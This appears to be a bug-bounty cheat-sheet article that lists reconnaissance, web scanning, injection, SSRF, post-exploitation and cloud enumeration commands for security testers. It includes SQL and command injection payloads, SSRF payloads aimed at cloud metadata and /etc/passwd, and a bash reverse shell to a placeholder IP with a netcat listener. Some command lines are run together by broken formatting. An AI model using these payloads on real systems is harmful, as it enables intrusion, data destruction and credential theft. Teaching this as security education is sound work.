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Introduction:
The landscape of cybersecurity is a constant battle between defenders and adversaries. For ethical hackers and bug bounty hunters, possessing a refined toolkit is paramount to uncovering critical vulnerabilities before malicious actors can exploit them. This article delves into the essential commands and techniques used by top-tier security researchers to identify, validate, and report security flaws.
Learning Objectives:
- Master fundamental command-line tools for reconnaissance and vulnerability assessment.
- Understand the application of specific commands for exploiting common web application vulnerabilities.
- Learn techniques for validating findings and hardening systems against discovered threats.
You Should Know:
1. The Reconnaissance Foundation: Discovering Your Target’s Footprint
Effective hacking begins with thorough reconnaissance. Before launching any attacks, you must map the target’s digital presence.
nmap -sV -sC -O <target_ip>: This Nmap command performs a verbose version detection (-sV), runs default scripts (-sC), and attempts OS fingerprinting (-O).
theHarvester -d example.com -b google: A tool for passive reconnaissance that gathers emails, subdomains, and hosts from public sources.
subfinder -d example.com: A specialized tool for discovering valid subdomains.
dig ANY example.com @8.8.8.8: Queries DNS for all record types, potentially revealing hidden infrastructure.
whois example.com: Retrieves registration information for the domain.
Step-by-step guide: Begin your engagement with passive reconnaissance. Use `theHarvester` and `subfinder` to build a list of target subdomains and associated assets without sending any packets directly to the target. Then, use `nmap` to perform an initial scan of the identified IP ranges to discover open ports and running services. The `-sC` flag will run a suite of default scripts that often uncover low-hanging vulnerabilities like default credentials or outdated service banners.
2. Web Application Fingerprinting and Analysis
Identifying the technologies behind a web application is crucial for tailoring your attack vectors.
whatweb example.com: A passive tool that identifies websites, CMSs, and JavaScript libraries.
`wappalyzer example.com` (Browser Extension): Visually identifies technologies from the browser.
`nikto -h http://example.com`: A comprehensive web server scanner which checks for dangerous files and outdated server software.
`gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt: Bruteforces hidden directories and files.curl -I http://example.com`: Fetches only the HTTP headers, revealing the server type, framework, and security policies.
Step-by-step guide: After identifying a web server, run `whatweb` to get a quick technology profile. Follow up with `nikto` to perform a wide scan for common misconfigurations. Simultaneously, use `gobuster` to discover hidden administrative panels, backup files, or configuration directories that are not linked from the main site. The `-I` flag with `curl` is invaluable for a quick, manual check of security headers like `Content-Security-Policy` and X-Frame-Options.
- Testing for Injection Flaws: SQLi and Command Injection
Injection vulnerabilities remain a top critical risk, allowing attackers to interact directly with backend systems.sqlmap -u "http://example.com/page?id=1" --batch --level=3: Automates the process of detecting and exploiting SQL injection flaws.
`’; DROP TABLE users–` (Example Payload): A classic, albeit dangerous, SQL injection test payload.
127.0.0.1; whoami: A basic command injection payload to test if user input is being executed on the server.
|| ping -c 1 your-collaborator.net: A blind command injection payload using a boolean OR operator.
curl http://example.com/ --data "query=malicious'payload": Manually tests for injection points by sending crafted POST data.
Step-by-step guide: Identify a parameter that interacts with a database, such as a user ID or search term. First, manually test with a single quote (') to see if it causes a database error. For potential command injection, append a semicolon (;) or pipe (|) followed by a harmless command like whoami. For a more thorough assessment, use `sqlmap` against the potential vulnerable parameter. The `–batch` flag runs it in non-interactive mode, and `–level` increases the thoroughness of the tests.
4. Leveraging Burp Suite for Advanced Manipulation
While not solely CLI, Burp Suite is the de facto standard for manual web app testing, and its functionality can be extended.
java -jar burpsuite_pro.jar: The standard command to launch Burp Suite Professional.
`Intruder` (Tool): Used for automating customized attacks like bruteforcing or fuzzing.
`Repeater` (Tool): Allows for manual manipulation and re-sending of individual HTTP requests.
`Collaborator` (Tool): Helps in detecting out-of-band vulnerabilities (blind SQLi, SSRF, etc.).
`Match and Replace` (Feature): Automatically adds headers (e.g., X-Forwarded-For) to all requests.
Step-by-step guide: Configure your browser to proxy traffic through Burp Suite. Browse the application normally to populate the sitemap in the Target tab. Identify a request with an interesting parameter, right-click, and “Send to Repeater.” In Repeater, you can manually manipulate parameters, headers, and cookies to test for business logic flaws, IDOR, and input validation bypasses. For fuzzing, “Send to Intruder,” set payload positions, and use a wordlist to automate the attack.
5. Exploiting Server-Side Request Forgery (SSRF)
SSRF vulnerabilities can allow an attacker to make the server connect to internal services or the internet.
curl http://vulnerable-app.com/fetch?url=http://localhost:8080`: A basic SSRF probe to access internal services.url=http://169.254.169.254/latest/meta-data/`: A payload targeting the AWS metadata endpoint from a compromised server.
url=file:///etc/passwd: A payload attempting to read local files via the SSRF vulnerability.
url=http://burp-collaborator.net`: A payload to confirm out-of-band connectivity using Burp Collaborator.gopher://internal-db:3306`: An advanced payload attempting to interact with non-HTTP services.
Step-by-step guide: Find a parameter that takes a URL (e.g., an image fetcher, webhook, or PDF generator). First, try to make the server fetch a resource on `localhost` or 127.0.0.1. If that is blocked, try alternative representations like 0.0.0.0, `2130706433` (decimal IP), or `017700000001` (octal IP). Use Burp Collaborator to generate a unique domain and use it as the target URL to confirm the server is making outbound requests.
6. Post-Exploitation: Establishing a Foothold
Once a vulnerability is found, the next step is often to gain persistent access or explore the compromised system.
nc -lvnp 4444: Starts a Netcat listener on port 4444 to catch a reverse shell.
bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1: A classic bash reverse shell command.
python -c 'import pty; pty.spawn("/bin/bash")': Upgrades a simple shell to an interactive TTY.
`linpeas.sh` (Script): A privilege escalation enumeration script for Linux.
whoami /priv: Checks the privileges of the current user on a Windows system.
Step-by-step guide: After discovering a command injection or achieving code execution, your goal is to get a reverse shell. On your machine, set up a listener with nc -lvnp 4444. Then, on the target, execute a reverse shell payload appropriate for the environment (e.g., the bash or Python command above). Once you have a shell, use enumeration scripts like `linpeas` to systematically identify misconfigurations that could lead to privilege escalation.
7. Cloud Security Auditing and Hardening
Modern applications are built on cloud infrastructure, which introduces its own set of security concerns.
aws iam list-users: Lists IAM users in an AWS account.
`aws s3 ls`: Lists S3 buckets.
gcloud projects get-iam-policy <project-id>: Retrieves the IAM policy for a Google Cloud project.
az ad user list --query "[].displayName": Lists users in an Azure Active Directory tenant.
terraform plan: Preview security-impacting changes before applying infrastructure-as-code.
Step-by-step guide: With appropriate (read-only) credentials, use the AWS CLI, GCloud CLI, or Azure CLI to enumerate the cloud environment. Check for publicly accessible S3 buckets (aws s3api get-bucket-acl --bucket-name), over-privileged IAM roles, and lack of logging. The principle of least privilege should be applied rigorously. Use `terraform plan` to audit infrastructure changes for security missteps before they are deployed to a live environment.
What Undercode Say:
- A methodical process, starting with broad reconnaissance and narrowing to specific exploits, is far more effective than random probing.
- The true skill lies not just in running tools, but in manually validating and understanding the root cause of every vulnerability found. Automation finds the clues, but human expertise connects them into a full attack chain.
The tools and commands are merely an extension of the hacker’s mindset. Success in bug hunting is dictated by persistence, creativity, and a deep understanding of how systems interoperate. Relying solely on automated scanners will yield superficial results, while the manual application of these commands, combined with logical reasoning, is what uncovers the critical, high-impact vulnerabilities that automated tools miss. The key is to think like both a builder and a breaker.
Prediction:
The increasing complexity of web technologies, cloud-native architectures, and AI-integrated applications will create a new frontier of vulnerabilities. We will see a rise in attacks targeting machine learning models (e.g., data poisoning, adversarial examples) and complex CI/CD pipeline compromises. The bug hunters who adapt their methodologies to include these new attack surfaces, automating reconnaissance but relying on deep, manual exploitation techniques, will be at the forefront of securing the next generation of software.
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Reported By: Tamil Tamil – Hackers Feeds
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